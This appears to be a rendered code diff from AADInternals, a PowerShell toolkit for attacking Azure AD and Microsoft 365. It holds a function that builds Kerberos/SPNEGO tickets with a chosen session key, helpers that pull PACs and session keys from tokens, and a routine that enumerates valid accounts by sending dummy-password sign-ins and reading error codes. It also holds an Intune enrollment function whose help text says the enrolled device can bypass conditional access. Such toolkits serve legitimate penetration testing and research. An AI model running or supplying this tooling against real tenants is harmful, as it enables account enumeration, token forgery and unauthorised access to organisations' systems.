@(0x10, 0x00, 0x00, 0x00)
# Binding information
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
# Flags
# https://tools.ietf.org/html/rfc2744
# GSS_C_DELEG_FLAG 0x01 1
# GSS_C_MUTUAL_FLAG 0x02 2
# GSS_C_REPLAY_FLAG 0x04 4
# GSS_C_SEQUENCE_FLAG 0x08 8
# GSS_C_CONF_FLAG 0x10 16
# GSS_C_INTEG_FLAG 0x20 32
# GSS_C_ANON_FLAG 0x40 64
# GSS_C_PROT_READY_FLAG 0x80 128
# GSS_C_TRANS_FLAG 0x100 256
# GSS_C_DCE_STYLE 0x1000 4096
# GSS_C_IDENTIFY_FLAG 0x2000 8192
# GSS_C_EXTENDED_ERROR_FLAG 0x4000 16384
# GSS_C_DELEG_POLICY_FLAG 0x8000 32768
@(0x3E, 0x20, 0x00, 0x00)
)
)
)
)
Add-DERTag -Tag 0xA4 -Data @(Add-DERInteger -Data (0x01)) # Cusec = milliseconds part of authTime -- for replay detection, so can be anything
Add-DERTag -Tag 0xA5 -Data @(Add-DERDate -Date $cTime) # CTime
Add-DERTag -Tag 0xA6 -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x17)) # Subkey - not used here to anything
Add-DERTag -Tag 0xA1 -Data @(Add-DERTag -Tag 0x04 -Data (New-Guid).ToByteArray())
)
)
Add-DERTag -Tag 0xA7 -Data @(Add-DERInteger -Data @([System.BitConverter]::GetBytes($SequenceNumber)) ) # Sequence number
Add-DERTag -Tag 0xA8 -Data @(
Add-DERSequence -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x01))
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @(
Add-DERSequence -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x81))
# AdETypeNegotiation
Add-DERTag -Tag 0xA1 -Data @(Add-DERTag -Tag 0x04 -Data @(
Add-DERSequence -Data @(
#Add-DERInteger -Data @(0x12) # AES256_CTS_HMAC_SHA1_96
#Add-DERInteger -Data @(0x11) # AES128_CTS_HMAC_SHA1_96
Add-DERInteger -Data @(0x17) # RC4_HMAC_NT
)
)
)
)
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x8D))
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @(
Add-DERSequence -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00)) #Restrictiontype = 0
# Restrictions
Add-DERTag -Tag 0xA1 -Data @(Add-DERTag -Tag 0x04 -Data @(
# Flags = Full
@(0x00, 0x00, 0x00, 0x00)
# Integritylevel = Low
@(0x00, 0x10, 0x00, 0x00)
# Machine Id
$machineId
)
)
)
)
)
)
)
Add-DERSequence -Data @(
# KerbLocal
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x8E))
Add-DERTag -Tag 0xA1 -Data @(Add-DERTag -Tag 0x04 -Data $kerbLocal2)
)
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x8F))
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @(
# KerbApOptions = ChannelBindingSupported
@(0x00, 0x40, 0x00, 0x00)
)
)
)
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x90))
Add-DERTag -Tag 0xA1 -Data @(
# KerbServiceTarget
Add-DERUnicodeString -Text "$ServiceTarget@$Realm"
)
)
)
)
)
)
)
)
)
)
$encryptedAuthenticator = Encrypt-Kerberos -Data $authenticator -Key $SessionKey -Type Authenticator -Salt $AESSalt -Crypto $Crypto
# NegTokenInit
$kerberosTicket=Add-DERTag -Tag 0x60 -Data @(
Add-DERObjectIdentifier -ObjectIdentifier "1.3.6.1.5.5.2" # SPNEGO
Add-DERTag -Tag 0xA0 -Data @(
Add-DERSequence -Data @(
# MechTypeList
Add-DERTag -Tag 0xA0 -Data @( # MechTypeList
Add-DERSequence -Data @(
Add-DERObjectIdentifier -ObjectIdentifier "1.2.840.48018.1.2.2" # Microsoft Kerberos OID
Add-DERObjectIdentifier -ObjectIdentifier "1.2.840.113554.1.2.2" # Kerberos V5 OID
Add-DERObjectIdentifier -ObjectIdentifier "1.3.6.1.4.1.311.2.2.30" # Negoex
Add-DERObjectIdentifier -ObjectIdentifier "1.3.6.1.4.1.311.2.2.10" # NTLM
)
)
Add-DERTag -Tag 0xA2 -Data @( # MechToken
Add-DERTag -Tag 0x04 -Data @(
Add-DERTag -Tag 0x60 -Data @(# Application constructed object
Add-DERObjectIdentifier -ObjectIdentifier "1.2.840.113554.1.2.2" # Kerberos V5 OID
Add-DERBoolean -Value $False
Add-DERTag -Tag 0x6E -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x05))
Add-DERTag -Tag 0xA1 -Data @(Add-DERInteger -Data @(0x0e))
Add-DERTag -Tag 0xA2 -Data @(Add-DERTag -Tag 0x03 -Data @(0x00, 0x20, 0x00, 0x00, 0x00)) # KERB_VALINFO
Add-DERTag -Tag 0xA3 -Data @(
# AUTHENTICATOR
Add-DERTag -Tag 0x61 -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x05)) # AuthenticatorVersionNumber = 5
Add-DERTag -Tag 0xA1 -Data @(Add-DERUtf8String -Text $Realm)
Add-DERTag -Tag 0xA2 -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x02))
Add-DERTag -Tag 0xA1 -Data @(
Add-DERSequence -Data @(
Add-DERUtf8String -Text $ServiceTarget.Split("/")[0]
Add-DERUtf8String -Text $ServiceTarget.Split("/")[1]
)
)
)
)
Add-DERTag -Tag 0xA3 -Data @(
Add-DERSequence -Data @(
if($Crypto -eq "RC4")
{
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x17)) # rc4-hmac
}
elseif($Crypto -eq "AES")
{
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x12)) # aes256-cts-hmac-sha1-96
}
Add-DERTag -Tag 0xA1 -Data @(Add-DERInteger -Data @(0x05))
Add-DERTag -Tag 0xA2 -Data @(Add-DERTag -Tag 0x04 $encryptedTicket)
)
)
)
)
)
Add-DERTag -Tag 0xA4 -Data @(
Add-DERSequence -Data @(
if($Crypto -eq "RC4")
{
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x17)) # rc4-hmac
}
elseif($Crypto -eq "AES")
{
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x12)) # aes256-cts-hmac-sha1-96
}
Add-DERTag -Tag 0xA2 -Data @(Add-DERTag -Tag 0x04 $encryptedAuthenticator)
)
)
)
)
)
)
)
)
)
)
# Return
$b64Ticket=[Convert]::ToBase64String([byte[]]$kerberosTicket)
return $b64Ticket
}
}
# Extracts PAC from the given Kerberos token
# Mar 26th 2021
function Get-PAC
{
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Token
)
Process
{
$parsedToken = Parse-Asn1 -Data $Token
return $parsedToken.Data[1].Data.Data[1].Data.Data.Data[2].Data.Data[3].Data.Data.Data[3].Data.Data[2].Data.Data
}
}
# Extracts Authenticator from the given Kerberos token
# Mar 26th 2021
function Get-Authenticator
{
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Token
)
Process
{
$parsedToken = Parse-Asn1 -Data $Token
return $parsedToken.Data[1].Data.Data[1].Data.Data.Data[2].Data.Data[4].Data.Data[1].Data.Data
}
}
# Parses PAC
# Mar 27th 2021
function Parse-PAC
{
Param(
[Parameter(Mandatory=$True)]
[byte[]]$PAC
)
Process
{
# PAC doesn't have "root" element, so let's add one
$newData = Add-DERSequence -Data $PAC
return Parse-Asn1 -Data $newData
}
}
# Parses Authenticator
# Mar 27th 2021
function Parse-Authenticator
{
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Authenticator
)
Process
{
# Authenticator doesn't have "root" element, so let's add one
$newData = Add-DERSequence -Data $Authenticator
return Parse-Asn1 -Data $newData
}
}
# Gets the sessionkey from PAC
# Mar 26th 2021
function Get-SessionKeyFromPAC
{
Param(
[Parameter(Mandatory=$True)]
[byte[]]$PAC
)
Process
{
$parsedPAC = Parse-PAC -PAC $PAC
return $parsedPAC.Data.Data.Data[1].Data.Data[1].Data.Data
}
}
+1252
View File
File diff suppressed because it is too large Load Diff
+1383
View File
File diff suppressed because it is too large Load Diff
+252
View File
@@ -0,0 +1,252 @@
# Checks whether the domain has MX records pointing to MS cloud
# Jun 16th 2020
# Aug 30th 2022: Fixed by maxgrim
function HasCloudMX
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Domain
)
Process
{
$results=Resolve-DnsName -Name $Domain -Type MX -DnsOnly -NoHostsFile -NoIdn -ErrorAction SilentlyContinue | select nameexchange | select -ExpandProperty nameexchange
$filteredResults=$results -like "*.mail.protection.outlook.com"
return ($filteredResults -eq $true) -and ($filteredResults.Count -gt 0)
}
}
# Checks whether the domain has SPF records allowing sending from cloud
# Jun 16th 2020
function HasCloudSPF
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Domain
)
Process
{
$results=Resolve-DnsName -Name $Domain -Type txt -DnsOnly -NoHostsFile -NoIdn -ErrorAction SilentlyContinue | select strings | select -ExpandProperty strings
return ($results -like "*include:spf.protection.outlook.com*").Count -gt 0
}
}
# Checks whether the domain has SPF records allowing sending from cloud
# Sep 23rd 2020
function HasDMARC
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Domain
)
Process
{
try
{
$results=Resolve-DnsName -Name "_dmarc.$Domain" -Type txt -DnsOnly -NoHostsFile -NoIdn -ErrorAction SilentlyContinue | select strings | select -ExpandProperty strings
}catch{}
return ($results -like "v=DMARC1*").Count -gt 0
}
}
# Checks whether the domain has DesktopSSO enabled
# Jun 16th 2020
function HasDesktopSSO
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Domain
)
Process
{
(Get-CredentialType -UserName "nn@$domain").EstsProperties.DesktopSsoEnabled -eq "True"
}
}
# Checks whether the domain has CBA enabled
# Jun 17th 2022
function HasCBA
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$UserName
)
Process
{
(Get-CredentialType -UserName $UserName).Credentials.HasCertAuth -eq "True"
}
}
# Checks whether the user exists in Azure AD or not
# Jun 16th 2020
function DoesUserExists
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$User,
[Parameter(Mandatory=$False)]
[ValidateSet("Normal","Login","Autologon")]
[String]$Method="Normal"
)
Process
{
$exists = $false
if($Method -eq "Normal")
{
# Get the credential type information
$credType=Get-CredentialType -UserName $User
# Works only if desktop sso (aka. Seamless SSO) is enabled
# Since August 2021 this seems to work for all tenants!
#if($credType.EstsProperties.DesktopSsoEnabled -eq "True")
#{
# Return empty if throttling
if($credType.ThrottleStatus -eq 1)
{
Write-Warning "Requests throttled!"
Remove-Variable exists
}
else
{
$exists = $credType.IfExistsResult -eq 0 -or $credType.IfExistsResult -eq 6
}
#}
#else
#{
# Remove-Variable exists
#}
}
else
{
if($Method -eq "Login")
{
# Try to log in as the user
$randomGuid = New-Guid
$body = @{
"resource"=$randomGuid
"client_id"=$randomGuid
"grant_type"="password"
"username"=$User
"password"="none"
"scope"="openid"
}
try
{
$jsonResponse=Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType "application/x-www-form-urlencoded" -Method POST -Body $body -Headers $headers
$exists = $True # May be should change password..?
}
catch
{
$errorDetails = ($_.ErrorDetails.Message | convertfrom-json).error_description
}
}
elseif($Method -eq "Autologon")
{
$requestId = (New-Guid).ToString()
$domain = $User.Split("@")[1]
$password = "none"
$now = Get-Date
$created = $now.toUniversalTime().toString("o")
$expires = $now.addMinutes(10).toUniversalTime().toString("o")
$url = "https://autologon.microsoftazuread-sso.com/$domain/winauth/trust/2005/usernamemixed?client-request-id=$requestid"
$body=@"
<?xml version='1.0' encoding='UTF-8'?>
<s:Envelope xmlns:s='http://www.w3.org/2003/05/soap-envelope' xmlns:wsse='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd' xmlns:saml='urn:oasis:names:tc:SAML:1.0:assertion' xmlns:wsp='http://schemas.xmlsoap.org/ws/2004/09/policy' xmlns:wsu='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd' xmlns:wsa='http://www.w3.org/2005/08/addressing' xmlns:wssc='http://schemas.xmlsoap.org/ws/2005/02/sc' xmlns:wst='http://schemas.xmlsoap.org/ws/2005/02/trust' xmlns:ic='http://schemas.xmlsoap.org/ws/2005/05/identity'>
<s:Header>
<wsa:Action s:mustUnderstand='1'>http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action>
<wsa:To s:mustUnderstand='1'>$url</wsa:To>
<wsa:MessageID>urn:uuid:$((New-Guid).ToString())</wsa:MessageID>
<wsse:Security s:mustUnderstand="1">
<wsu:Timestamp wsu:Id="_0">
<wsu:Created>$created</wsu:Created>
<wsu:Expires>$expires</wsu:Expires>
</wsu:Timestamp>
<wsse:UsernameToken wsu:Id="uuid-$((New-Guid).toString())">
<wsse:Username>$User</wsse:Username>
<wsse:Password>$Password</wsse:Password>
</wsse:UsernameToken>
</wsse:Security>
</s:Header>
<s:Body>
<wst:RequestSecurityToken Id='RST0'>
<wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType>
<wsp:AppliesTo>
<wsa:EndpointReference>
<wsa:Address>urn:federation:MicrosoftOnline</wsa:Address>
</wsa:EndpointReference>
</wsp:AppliesTo>
<wst:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</wst:KeyType>
</wst:RequestSecurityToken>
</s:Body>
</s:Envelope>
"@
$exists = $false
try
{
$response = Invoke-RestMethod -UseBasicParsing -Uri $url -Method Post -Body $body -ErrorAction SilentlyContinue
$exists = $true # Very bad password
}
catch
{
$stream = $_.Exception.Response.GetResponseStream()
$responseBytes = New-Object byte[] $stream.Length
$stream.Position = 0
$stream.Read($responseBytes,0,$stream.Length) | Out-Null
$responseXml = [xml][text.encoding]::UTF8.GetString($responseBytes)
$errorDetails = $responseXml.Envelope.Body.Fault.Detail.error.internalerror.text
}
}
# Parse the error code. Only AADSTS50034 would need to be checked but good to know other errors too.
if(!$exists -and $errorDetails)
{
if($errorDetails.startsWith("AADSTS50053")) # The account is locked, you've tried to sign in too many times with an incorrect user ID or password.
{
$exists = $True
}
elseif($errorDetails.StartsWith("AADSTS50126")) # Error validating credentials due to invalid username or password.
{
$exists = $True
}
elseif($errorDetails.StartsWith("AADSTS50076")) # Due to a configuration change made by your administrator, or because you moved to a new location, you must use multi-factor authentication to access '{resource}'
{
$exists = $True
}
elseif($errorDetails.StartsWith("AADSTS700016")) # Application with identifier '{appIdentifier}' was not found in the directory '{tenantName}'. This can happen if the application has not been installed by the administrator of the tenant or consented to by any user in the tenant. You may have sent your authentication request to the wrong tenant.
{
$exists = $True
}
elseif($errorDetails.StartsWith("AADSTS50034")) # The user account {identifier} does not exist in the {tenant} directory. To sign into this application, the account must be added to the directory.
{
$exists = $False
}
else
{
Remove-Variable exists
}
}
}
return $exists
}
}
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2018-2019 Gerenios Ltd / Nestori Syynimaa
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+801
View File
@@ -0,0 +1,801 @@
# This file contains functions for Intune MDM
# Enroll device to Intune MDM
# Aug 29th
function Join-DeviceToIntune
{
<#
.SYNOPSIS
Registers (enrolls) the given device to Intune.
.DESCRIPTION
Enrolls the given device to Intune and generates a corresponding certificate.
After enrollment, the device is in compliant state (depends on the Intune configuration), which allows bypassing conditional access (CA) restrictions based on the compliance.
The certificate has no password.
.Parameter AccessToken
The access token used to enroll the device. Must have deviceid claim!
If not given, will be prompted.
.Parameter DeviceName
The name of the device to be registered.
.EXAMPLE
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache
PS C\:>Join-AADIntDeviceToIntune -DeviceName "My computer"
Intune client certificate successfully created:
Subject: "CN=5ede6e7a-7b77-41bd-bfe0-ef29ca70a3fb"
Issuer: "CN=Microsoft Intune MDM Device CA"
Cert thumbprint: A1D407FF66EF05D153B67129B8541058A1C395B1
Cert file name: "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx"
CA file name : "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM-CA.der"
IntMedCA file : "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM-INTMED-CA.der"
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DeviceName
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "29d9ed98-a469-4536-ade2-f981bc1d605e" -Resource "https://enrollment.manage.microsoft.com/"
# Get the claims
$claims = Read-Accesstoken -AccessToken $AccessToken
if(!$claims.deviceid)
{
throw "No device id included in access token! Use Get-AADIntAccessTokenForIntuneMDM with the device certificate and try again."
}
# If the username starts with package_ assume it be a BPRT
$BPRT = $claims.upn.StartsWith("package_")
try
{
$joinInfo = Enroll-DeviceToMDM -AccessToken $AccessToken -DeviceName $DeviceName -BPRT $BPRT
}
catch
{
Write-Error $_.ErrorDetails.Message
return
}
# Get the certificates
$CA = $joinInfo[0]
$IntMedCA = $joinInfo[1]
$clientCertificate = $joinInfo[2]
Set-BinaryContent -Path "$($claims.deviceid)-MDM.pfx" -Value $clientCertificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx)
$CA | Set-Content "$($claims.deviceid)-MDM-CA.der"
$IntMedCA | Set-Content "$($claims.deviceid)-MDM-INTMED-CA.der"
# Unload the private key
Unload-PrivateKey -PrivateKey $clientCertificate.privateKey
# Print out information
Write-Host "Intune client certificate successfully created:"
Write-Host " Subject: ""$($clientCertificate.Subject)"""
Write-Host " Issuer: ""$($clientCertificate.Issuer)"""
Write-Host " Cert thumbprint: $($clientCertificate.Thumbprint)"
Write-host " Cert file name: ""$($claims.deviceid)-MDM.pfx"""
Write-host " CA file name : ""$($claims.deviceid)-MDM-CA.der"""
Write-host " IntMedCA file : ""$($claims.deviceid)-MDM-INTMED-CA.der"""
}
}
# Sep 2nd 2020
function Start-DeviceIntuneCallback
{
<#
.SYNOPSIS
Starts a device callback to Intune.
.DESCRIPTION
Starts a device callback to Intune. Resets also the name of the device to given device name.
.Parameter DeviceName
The name the device to be seen in Intune portal.
.EXAMPLE
Start-AADIntDeviceIntuneCallback -pfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7MDM.pfx
.Parameter Certificate
x509 certificate of the device.
.Parameter PfxFileName
File name of the .pfx certificate of the device.
.Parameter PfxPassword
The password of the .pfx certificate of the device.
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
[string]$PfxFileName,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[string]$PfxPassword,
[Parameter(Mandatory=$True)]
[string]$DeviceName,
[Parameter(Mandatory=$False)]
[ValidateSet("User","Others","None")]
[string]$Scope="None",
[Parameter(Mandatory=$False)]
[int]$SessionId=1
)
Begin
{
# CPS Version xml
$CSPVersions = @"
<?xml version="1.0" encoding="utf-8"?>
<DeviceManageability Version="com.microsoft/1.1/MDM/DeviceManageability">
<Capabilities>
<CSPVersions>
<CSP Node="./DevDetail" Version="1.1"/>
<CSP Node="./DevInfo" Version="1.0"/>
<CSP Node="./Device/Vendor/MSFT/AssignedAccess" Version="4.0"/>
<CSP Node="./Device/Vendor/MSFT/BitLocker" Version="5.0"/>
<CSP Node="./Device/Vendor/MSFT/ClientCertificateInstall" Version="1.1"/>
<CSP Node="./Device/Vendor/MSFT/DMClient" Version="1.5"/>
<CSP Node="./Device/Vendor/MSFT/DeclaredConfiguration" Version="1.0"/>
<CSP Node="./Device/Vendor/MSFT/DeviceManageability" Version="2.0"/>
<CSP Node="./Device/Vendor/MSFT/DeviceUpdateCenter" Version="1.0"/>
<CSP Node="./Device/Vendor/MSFT/EnrollmentStatusTracking" Version="1.0"/>
<CSP Node="./Device/Vendor/MSFT/EnterpriseAppVManagement" Version="1.0"/>
<CSP Node="./Device/Vendor/MSFT/EnterpriseDataProtection" Version="4.0"/>
<CSP Node="./Device/Vendor/MSFT/EnterpriseDesktopAppManagement" Version="1.0"/>
<CSP Node="./Device/Vendor/MSFT/EnterpriseModernAppManagement" Version="1.2"/>
<CSP Node="./Device/Vendor/MSFT/OfflineDomainJoin" Version="1.0"/>
<CSP Node="./Device/Vendor/MSFT/OptionalFeatures" Version="1.1"/>
<CSP Node="./Device/Vendor/MSFT/PassportForWork" Version="1.4"/>
<CSP Node="./Device/Vendor/MSFT/Policy" Version="9.0"/>
<CSP Node="./Device/Vendor/MSFT/PolicyManager/DeviceLock" Version="1.0"/>
<CSP Node="./Device/Vendor/MSFT/PolicyManager/Security" Version="1.0"/>
<CSP Node="./Device/Vendor/MSFT/Reboot" Version="1.0"/>
<CSP Node="./Device/Vendor/MSFT/RemoteLock" Version="1.1"/>
<CSP Node="./Device/Vendor/MSFT/RootCATrustedCertificates" Version="1.1"/>
<CSP Node="./Device/Vendor/MSFT/VPNv2" Version="1.0"/>
<CSP Node="./Device/Vendor/MSFT/WindowsAdvancedThreatProtection" Version="1.2"/>
<CSP Node="./Device/Vendor/MSFT/WindowsDefenderApplicationGuard" Version="1.3"/>
<CSP Node="./Device/Vendor/MSFT/WindowsLicensing" Version="1.3"/>
<CSP Node="./SyncML/DMAcc" Version="1.0"/>
<CSP Node="./SyncML/DMS" Version="1.0"/>
<CSP Node="./User/Vendor/MSFT/ActiveSync" Version="1.0"/>
<CSP Node="./User/Vendor/MSFT/ClientCertificateInstall" Version="1.1"/>
<CSP Node="./User/Vendor/MSFT/DMClient" Version="1.5"/>
<CSP Node="./User/Vendor/MSFT/DMSessionActions" Version="1.1"/>
<CSP Node="./User/Vendor/MSFT/DeclaredConfiguration" Version="1.0"/>
<CSP Node="./User/Vendor/MSFT/EMAIL2" Version="1.0"/>
<CSP Node="./User/Vendor/MSFT/EnrollmentStatusTracking" Version="1.0"/>
<CSP Node="./User/Vendor/MSFT/EnterpriseAppVManagement" Version="1.0"/>
<CSP Node="./User/Vendor/MSFT/EnterpriseDesktopAppManagement" Version="1.0"/>
<CSP Node="./User/Vendor/MSFT/EnterpriseModernAppManagement" Version="1.2"/>
<CSP Node="./User/Vendor/MSFT/NodeCache" Version="1.2"/>
<CSP Node="./User/Vendor/MSFT/PassportForWork" Version="1.4"/>
<CSP Node="./User/Vendor/MSFT/Policy" Version="9.0"/>
<CSP Node="./User/Vendor/MSFT/PolicyManager/DeviceLock" Version="1.0"/>
<CSP Node="./User/Vendor/MSFT/PolicyManager/Security" Version="1.0"/>
<CSP Node="./User/Vendor/MSFT/RootCATrustedCertificates" Version="1.1"/>
<CSP Node="./User/Vendor/MSFT/VPNv2" Version="1.0"/>
<CSP Node="./User/Vendor/MSFT/WiFi" Version="1.0"/>
<CSP Node="./Vendor/MSFT/ActiveSync" Version="1.0"/>
<CSP Node="./Vendor/MSFT/AppLocker" Version="1.0"/>
<CSP Node="./Vendor/MSFT/CMPolicy" Version="1.0"/>
<CSP Node="./Vendor/MSFT/CMPolicyEnterprise" Version="1.0"/>
<CSP Node="./Vendor/MSFT/CellularSettings" Version="1.0"/>
<CSP Node="./Vendor/MSFT/CertificateStore" Version="1.0"/>
<CSP Node="./Vendor/MSFT/CleanPC" Version="1.0"/>
<CSP Node="./Vendor/MSFT/DMClient" Version="1.5"/>
<CSP Node="./Vendor/MSFT/DMSessionActions" Version="1.1"/>
<CSP Node="./Vendor/MSFT/DeclaredConfiguration" Version="1.0"/>
<CSP Node="./Vendor/MSFT/Defender" Version="1.3"/>
<CSP Node="./Vendor/MSFT/DeviceLock" Version="1.0"/>
<CSP Node="./Vendor/MSFT/DeviceStatus" Version="1.5"/>
<CSP Node="./Vendor/MSFT/DeviceUpdate" Version="1.0"/>
<CSP Node="./Vendor/MSFT/DiagnosticLog" Version="1.4"/>
<CSP Node="./Vendor/MSFT/DynamicManagement" Version="1.0"/>
<CSP Node="./Vendor/MSFT/EMAIL2" Version="1.0"/>
<CSP Node="./Vendor/MSFT/EnterpriseAPN" Version="1.0"/>
<CSP Node="./Vendor/MSFT/EnterpriseModernAppManagement" Version="1.2"/>
<CSP Node="./Vendor/MSFT/Firewall" Version="1.0"/>
<CSP Node="./Vendor/MSFT/HealthAttestation" Version="1.3"/>
<CSP Node="./Vendor/MSFT/Maps" Version="1.0"/>
<CSP Node="./Vendor/MSFT/MultiSIM" Version="1.0"/>
<CSP Node="./Vendor/MSFT/NetworkProxy" Version="1.0"/>
<CSP Node="./Vendor/MSFT/NodeCache" Version="1.2"/>
<CSP Node="./Vendor/MSFT/Office" Version="1.5"/>
<CSP Node="./Vendor/MSFT/PassportForWork" Version="1.4"/>
<CSP Node="./Vendor/MSFT/Personalization" Version="1.0"/>
<CSP Node="./Vendor/MSFT/Policy" Version="9.0"/>
<CSP Node="./Vendor/MSFT/PolicyManager/DeviceLock" Version="1.0"/>
<CSP Node="./Vendor/MSFT/PolicyManager/Security" Version="1.0"/>
<CSP Node="./Vendor/MSFT/RemoteFind" Version="1.0"/>
<CSP Node="./Vendor/MSFT/RemoteLock" Version="1.1"/>
<CSP Node="./Vendor/MSFT/RemoteWipe" Version="1.1"/>
<CSP Node="./Vendor/MSFT/Reporting" Version="2.1"/>
<CSP Node="./Vendor/MSFT/SUPL" Version="1.1"/>
<CSP Node="./Vendor/MSFT/SecureAssessment" Version="1.1"/>
<CSP Node="./Vendor/MSFT/SecurityPolicy" Version="1.0"/>
<CSP Node="./Vendor/MSFT/SharedPC" Version="1.2"/>
<CSP Node="./Vendor/MSFT/Storage" Version="1.0"/>
<CSP Node="./Vendor/MSFT/TPMPolicy" Version="1.0"/>
<CSP Node="./Vendor/MSFT/TenantLockdown" Version="1.0"/>
<CSP Node="./Vendor/MSFT/UnifiedWriteFilter" Version="1.0"/>
<CSP Node="./Vendor/MSFT/Update" Version="1.1"/>
<CSP Node="./Vendor/MSFT/VPNv2" Version="1.0"/>
<CSP Node="./Vendor/MSFT/WiFi" Version="1.0"/>
<CSP Node="./Vendor/MSFT/Win32AppInventory" Version="1.0"/>
<CSP Node="./Vendor/MSFT/WindowsLicensing" Version="1.3"/>
<CSP Node="./Vendor/MSFT/eUICCs" Version="1.2"/>
<CSP Node="./Vendor/MSFT/uefi" Version="1.0"/>
<CSP Node="./cimv2/MDM_AppInstallJob" Version="1.0"/>
<CSP Node="./cimv2/MDM_Application" Version="1.0"/>
<CSP Node="./cimv2/MDM_ApplicationFramework" Version="1.0"/>
<CSP Node="./cimv2/MDM_ApplicationSetting" Version="1.0"/>
<CSP Node="./cimv2/MDM_BrowserSecurityZones" Version="1.0"/>
<CSP Node="./cimv2/MDM_BrowserSettings" Version="1.0"/>
<CSP Node="./cimv2/MDM_Certificate" Version="1.0"/>
<CSP Node="./cimv2/MDM_CertificateEnrollment" Version="1.0"/>
<CSP Node="./cimv2/MDM_Client" Version="1.0"/>
<CSP Node="./cimv2/MDM_ConfigSetting" Version="1.0"/>
<CSP Node="./cimv2/MDM_EASPolicy" Version="1.0"/>
<CSP Node="./cimv2/MDM_MgmtAuthority" Version="1.0"/>
<CSP Node="./cimv2/MDM_RemoteAppUserCookie" Version="1.0"/>
<CSP Node="./cimv2/MDM_RemoteApplication" Version="1.0"/>
<CSP Node="./cimv2/MDM_Restrictions" Version="1.0"/>
<CSP Node="./cimv2/MDM_RestrictionsUser" Version="1.0"/>
<CSP Node="./cimv2/MDM_SecurityStatus" Version="1.0"/>
<CSP Node="./cimv2/MDM_SecurityStatusUser" Version="1.0"/>
<CSP Node="./cimv2/MDM_SideLoader" Version="1.0"/>
<CSP Node="./cimv2/MDM_Updates" Version="1.0"/>
